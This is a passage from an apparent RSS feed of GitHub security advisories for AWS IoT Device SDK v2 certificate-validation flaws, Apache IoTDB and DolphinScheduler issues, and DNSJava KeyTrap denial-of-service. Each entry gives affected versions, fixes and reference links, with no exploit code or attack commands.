        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/4be41394f1aee979e6f4b012fcb01eecabd0c08d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/fd4c0ba04b35eab9e20c635af5548fcc5a92d8be&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-94jq-q5v2-76wj&quot;&gt;https://github.com/advisories/GHSA-94jq-q5v2-76wj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-861.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-94jq-q5v2-76wj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-94jq-q5v2-76wj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on Unix systems. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &#39;aws_tls_ctx_options_override_default_trust_store_*&#39; function within the aws-c-io submodule has been updated to override the default trust store. This corrects this issue. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on Linux/Unix. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on Linux/Unix. Amazon Web Services AWS-C-IO 0.10.4 on Linux/Unix.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40830&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/67950ad2a02f2f9355c310b69dc9226b017f32f2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/53a36e3ac203291494120604d416b6de59177cac&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/0450ce68add7e3d05c6d781ecdac953c299c053a&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-c4rh-4376-gff4&quot;&gt;https://github.com/advisories/GHSA-c4rh-4376-gff4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-863.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-c4rh-4376-gff4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-c4rh-4376-gff4</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;The AWS IoT Device SDK v2 for Java, Python, C++ and Node.js appends a user supplied Certificate Authority (CA) to the root CAs instead of overriding it on macOS systems. Additionally, SNI validation is also not enabled when the CA has been &quot;overridden&quot;. TLS handshakes will thus succeed if the peer can be verified either from the user-supplied CA or the system’s default trust-store. Attackers with access to a host’s trust stores or are able to compromise a certificate authority already in the host&#39;s trust store (note: the attacker must also be able to spoof DNS in this case) may be able to use this issue to bypass CA pinning. An attacker could then spoof the MQTT broker, and either drop traffic and/or respond with the attacker&#39;s data, but they would not be able to forward this data on to the MQTT broker because the attacker would still need the user&#39;s private keys to authenticate against the MQTT broker. The &lt;code&gt;aws_tls_ctx_options_override_default_trust_store_*&lt;/code&gt; function within the aws-c-io submodule has been updated to address this behavior. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.5.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.7.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.14.0 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.6.0 on macOS. Amazon Web Services AWS-C-IO 0.10.7 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40831&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commit/46375e9b1bfb34109b9ff3b1eff9c770f9daa186&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2/commit/22f1989f5bdb0bdd9c912a5a2d255ee6c0854f68&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2/commit/5aef82573202309063eb540b72cee0e565f85a2d&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&quot;&gt;https://github.com/advisories/GHSA-j3f7-7rmc-6wqj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-864.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-j3f7-7rmc-6wqj</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[software.amazon.awssdk.iotdevicesdk:aws-iot-device-sdk] Improper certificate management in AWS IoT Device SDK v2</title>
      <description>&lt;p&gt;Connections initialized by the AWS IoT Device SDK v2 for Java (versions prior to 1.4.2), Python (versions prior to 1.6.1), C++ (versions prior to 1.12.7) and Node.js (versions prior to 1.5.3) did not verify server certificate hostname during TLS handshake when overriding Certificate Authorities (CA) in their trust stores on MacOS. This issue has been addressed in aws-c-io submodule versions 0.10.5 onward. This issue affects: Amazon Web Services AWS IoT Device SDK v2 for Java versions prior to 1.4.2 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Python versions prior to 1.6.1 on macOS. Amazon Web Services AWS IoT Device SDK v2 for C++ versions prior to 1.12.7 on macOS. Amazon Web Services AWS IoT Device SDK v2 for Node.js versions prior to 1.5.3 on macOS. Amazon Web Services AWS-C-IO 0.10.4 on macOS.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2021-40829&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2/commits/v1.4.2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-cpp-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-cpp-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-java-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-java-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-js-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-js-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/aws/aws-iot-device-sdk-python-v2&quot;&gt;https://github.com/aws/aws-iot-device-sdk-python-v2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-743r-5g92-5vgf&quot;&gt;https://github.com/advisories/GHSA-743r-5g92-5vgf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/awslabs/aws-c-io&quot;&gt;https://github.com/awslabs/aws-c-io&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/awsiotsdk/PYSEC-2021-862.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-743r-5g92-5vgf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-743r-5g92-5vgf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:tsfile] Apache IoTDB subject to ReDOS with Java 8</title>
      <description>&lt;p&gt;Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&quot;&gt;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&quot;&gt;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:iotdb-server] Apache IoTDB subject to ReDOS with Java 8</title>
      <description>&lt;p&gt;Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&quot;&gt;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&quot;&gt;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:flink-tsfile-connector] Apache IoTDB subject to ReDOS with Java 8</title>
      <description>&lt;p&gt;Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&quot;&gt;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&quot;&gt;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.dolphinscheduler:dolphinscheduler-api] Incorrect Default Permissions in Apache DolphinScheduler</title>
      <description>&lt;p&gt;Versions of Apache DolphinScheduler prior to 1.3.2 allowed an ordinary user under any tenant to override another users password through the API interface.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-13922&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2020-13922&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/apache/incubator-dolphinscheduler/commit/b8a9e2e00f2f207ae60c913a7173b59405ff95f1&quot;&gt;https://github.com/apache/incubator-dolphinscheduler/commit/b8a9e2e00f2f207ae60c913a7173b59405ff95f1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.mail-archive.com/announce@apache.org/msg06076.html&quot;&gt;https://www.mail-archive.com/announce@apache.org/msg06076.html&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-dolphinscheduler/PYSEC-2021-876.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-dolphinscheduler/PYSEC-2021-876.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.mail-archive.com/announce%40apache.org/msg06076.html&quot;&gt;https://www.mail-archive.com/announce%40apache.org/msg06076.html&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-qhh5-9738-g9mx&quot;&gt;https://github.com/advisories/GHSA-qhh5-9738-g9mx&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-qhh5-9738-g9mx</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-qhh5-9738-g9mx</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:iotdb-grafana-connector] Apache IoTDB Grafana Connector vulnerable to Improper Authentication</title>
      <description>&lt;p&gt;Improper Authentication vulnerability in Apache Software Foundation Apache IoTDB. This issue affects Apache IoTDB Grafana Connector from 0.13.0 through 0.13.3.&lt;/p&gt;
        &lt;p&gt;Attackers could log in without authorization. This is fixed in 0.13.4.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-24831&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-24831&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/3dgvzgstycf8b5hyf4z3n7cqdhcyln3l&quot;&gt;https://lists.apache.org/thread/3dgvzgstycf8b5hyf4z3n7cqdhcyln3l&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2023-7.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2023-7.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pvjv-386f-c8wh&quot;&gt;https://github.com/advisories/GHSA-pvjv-386f-c8wh&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pvjv-386f-c8wh</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pvjv-386f-c8wh</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.jitsi:dnssecjava] DNSJava affected by KeyTrap - NSEC3 closest encloser proof can exhaust CPU resources</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&quot;&gt;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&quot;&gt;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mmwx-rj87-vfgr</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mmwx-rj87-vfgr</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[dnsjava:dnsjava] DNSJava affected by KeyTrap - NSEC3 closest encloser proof can exhaust CPU resources</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&quot;&gt;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&quot;&gt;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mmwx-rj87-vfgr</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mmwx-rj87-vfgr</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.jitsi:dnssecjava] DNSJava vulnerable to KeyTrap - Denial-of-Service Algorithmic Complexity Attacks</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability. &lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&quot;&gt;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&quot;&gt;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&lt;/a&gt;&lt;/li&gt;
